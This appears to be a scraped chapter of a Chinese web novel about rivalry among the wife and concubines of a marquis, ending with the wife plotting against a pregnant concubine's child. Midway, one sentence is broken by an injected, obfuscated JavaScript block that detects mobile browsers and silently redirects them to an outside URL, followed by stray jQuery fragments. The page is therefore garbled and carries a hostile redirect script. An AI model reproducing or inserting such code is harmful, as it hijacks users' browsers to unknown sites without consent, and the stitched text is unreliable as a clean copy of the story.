崔令容说她不去,“我与定国公夫人结了怨,若是我再去,只会让她更生气。”
“什么时候的事?”
“就前些日子,不是说泽玉不孝么,我见了她问个几句,她就不高兴了。”
为了避免宋书澜一而再提讨好定国公府的事,崔令容干脆说自己和秦氏不和。
宋书澜瞬间放下脸来,“你糊涂啊,崔泽玉不懂事,你也不懂事吗?”
崔令容没说话。
“你应该为了崔泽玉,更讨好定国公夫人才对,像你这样,如何能有个好结果?”宋书澜很是不解,“以前你都是周全的,怎么到了定国公府的事糊涂,你和我说,你是不是有事瞒着我?”
崔令容说没有,“事情就是这么个事,我会派人送东西去,至于我们人,还是别去了。不然传起来也不好听,说我们上赶着贴热脸。侯爷是为了前程,越是这样,越不能低声下气讨人欢心,不然会被人看不起。”
她不愿意再多说,天也黑了,崔令容说要去看看瑜姐儿。
宋书澜被晾在屋里,自觉没趣,本想去找兰心,结果才知道兰心犯了错,被荣嘉县主送去庄子上。
“什么时候的事?”宋书澜不高兴地问。
回话的是王和春家的,她知道县主为何送走兰心,不过她最近这段日子,都亲近不了县主,感觉到侯爷不高兴,干脆拉陈德家的下水,“回侯爷,奴婢也不清楚怎么回事,最近这些日子都是陈德家的贴身伺候县主,很多事,也是她给县主出主意。”
竹青怀孕,宋书澜又在和荣嘉县主闹变扭,能让他快活点的只有兰心,结果兰心还被送走。
他对兰心没那么上心,但兰心是他女人,荣嘉县主不打声招呼就把人送走,他心里有些郁闷。
宋书澜不悦道,“让陈妈妈来见我!”
不一会儿,陈德家的被带来,按照想好的借口回话,说是兰心手脚不干净,还暗地里辱骂县主,“县主好意提拔她来伺候侯爷,结果她那么不识趣,县主才把她送走。县主想着只是个通房丫鬟,也就没多说,侯爷若是不同意,奴婢再去把人找回来。”
“不用了。”宋书澜没想到兰心有这种坏心眼,可惜了,他还想看兰心对他百依百顺的样子。
他摆摆手,把陈德家的打发走后,心里烦躁得很。
想了想,他最后去了张姨娘那。
画蝶和竹青都很刻意讨好,他今日没有同房的心,只想有个人静静听他说话,而张姨娘就是个很好的倾听者。
不过人都到了张姨娘那,宋书澜又许久没亲近张姨娘,最后还是脱衣服上床,床板哼哧哼哧地摇了几下。
次日宋书澜走后,张姨娘会想到晚上的事,心里暗道侯爷上了年纪,远不如以前了。
不过这种事涉及侯爷尊严,张姨娘只在心里想了想,她也不好意思和别人说。
去秋爽斋请安时,正巧竹青和画蝶也来了,按理她资历最深,应该坐最前面,不过竹青抢了她的位置。
张姨娘知道自己不得宠,从不主动惹事,默默在竹青对面坐下。
大奶奶还没出来,竹青抿了口茶,眼睛止不住地打量张姨娘,“姐姐昨晚伺候侯爷辛苦了,怎么还来请安呢?虽说大奶奶不用我来,但我想着现在月份不大,还得来请安。”
张姨娘淡淡笑了下,没有多说话。
竹青一拳头打在棉花上,很不得劲,继续挖苦张姨娘,“对不住了姐姐,我忘了你怀不了孩子,你肯定不懂我的劳累。”
张姨娘手一顿,茶盏刚挨着嘴唇,苦涩先咽入肚子里。
画蝶听不下去,加上她本来和竹青不对付,哼了一声,“有的人啊太得意了,有命怀,还得有福气生下来才是真的好命。”
“你说什么?”竹青瞪过去,转而冷笑一声,“也是,不是谁都像画蝶姐姐一样,保不住孩子,还没了侯爷宠爱。我啊,肯定会吸取教训,绝对不走你的老路。”
这话直戳画蝶肺管子,画蝶哪里忍得了,站起来指着竹青说什么。
“姐姐激动什么,我说的是实话啊!”竹青依旧猖狂,她现在有荣嘉县主当靠山,还怀了侯爷的孩子,就算是大奶奶,也要给她三分薄面。
画蝶更气了,冲过去抬手要**时,被秋妈妈呵斥住了,转头看到大奶奶出来,哭着让大奶奶给自己做主,“大奶奶,竹青也太过分了,妾身没了孩子本就难过,她却拿这个事怼人,实在歹毒。”
竹青撇撇嘴,“画蝶姐姐别血口喷人,我不过是实事求是,又没编瞎话。”
崔令容扫了眼过去,“方才你们的话,我都听到了。竹青,你是怀孕了,但你一进来,先嘲讽张姨娘,又骂画蝶。她们可都比你早进侯府,你真以为自己怀孕,就是免死金牌吗?”
听
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369824|198148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到这话,竹青心头不由自主地颤了颤,“大奶奶,您这是什么意思?妾身可经不得吓。”
“字面意思,你现在目中无人,猖狂得很,那就去祠堂跪一个时辰。”崔令容说完,秋妈妈立马给竹青比了个手势。
竹青慌了,“大奶奶,妾身可怀着孩子,要是孩子有个三长两短,侯爷会生气……”
“竹青你错了,侯爷并不缺你生的孩子,今日我罚你,是有正当理由,侯爷知道了,也不会生我气。”毕竟宋书澜现在,想攀附定国公府呢,崔令容心中骂竹青蠢笨,“你应该记着荣嘉县主的话,不要到秋爽斋来。但你太想炫耀了,既然这样,我就满足你吧。跪一个时辰不会怎么样,不影响孩子的。”
崔令容不想听竹青再辩解,直接给秋妈妈使了个眼色,强行带走竹青。
她再去看画蝶,“你能帮张姨娘说话是好事,我就不罚你了,不过妾室之间还是以和为贵,下不为例。”
画蝶忙说记住了,心中高兴得很,盼着竹青的孩子最好掉了,省得竹青猖狂。
不过就像崔令容说的一样,跪一个时辰不会影响到孩子,最多是膝盖酸痛。
只是竹青借着这个机会晕过去,等荣嘉县主到的时候,一顿哭诉。
荣嘉县主自然不会放过机会,找来宋书澜,说崔令容如何如何,根本不在意宋书澜的子嗣。
这些事,都是傍晚时分发生,崔令容暂且不知道。
她先得知一个消息,就是郑妈妈曾经把郑四德介绍给竹青,两人甚至要过礼,只差最后去找荣嘉县主过明路,结果竹青发现怀孕。
“大奶奶,不说孩子的事,就是竹青姨娘和郑四德要定亲的事,只要传到侯爷耳朵里,侯爷就接受不了。”秋妈妈道,“若是这个孩子出生,侯爷也不会让荣嘉县主养。竹青姨娘太得意了,但她忘了,天底下没有不透风的墙。”
“是,听说她还派人去庄子里,结果找空了。她肯定想不到,我把郑妈妈送到郑四德那。”崔令容道,“郑妈妈姐弟最近怎么样?”
秋妈妈说郑妈妈身子好了点,郑四德隔一段时间会来侯府送菜,“前两天,郑四德好像要见竹青姨娘,但是没见到。”
“给他们创造个机会,让他们见一见。”崔令容必须要让这个孩子,没有继承侯府的可能。
属于她孩子的东西,谁也不能抢走。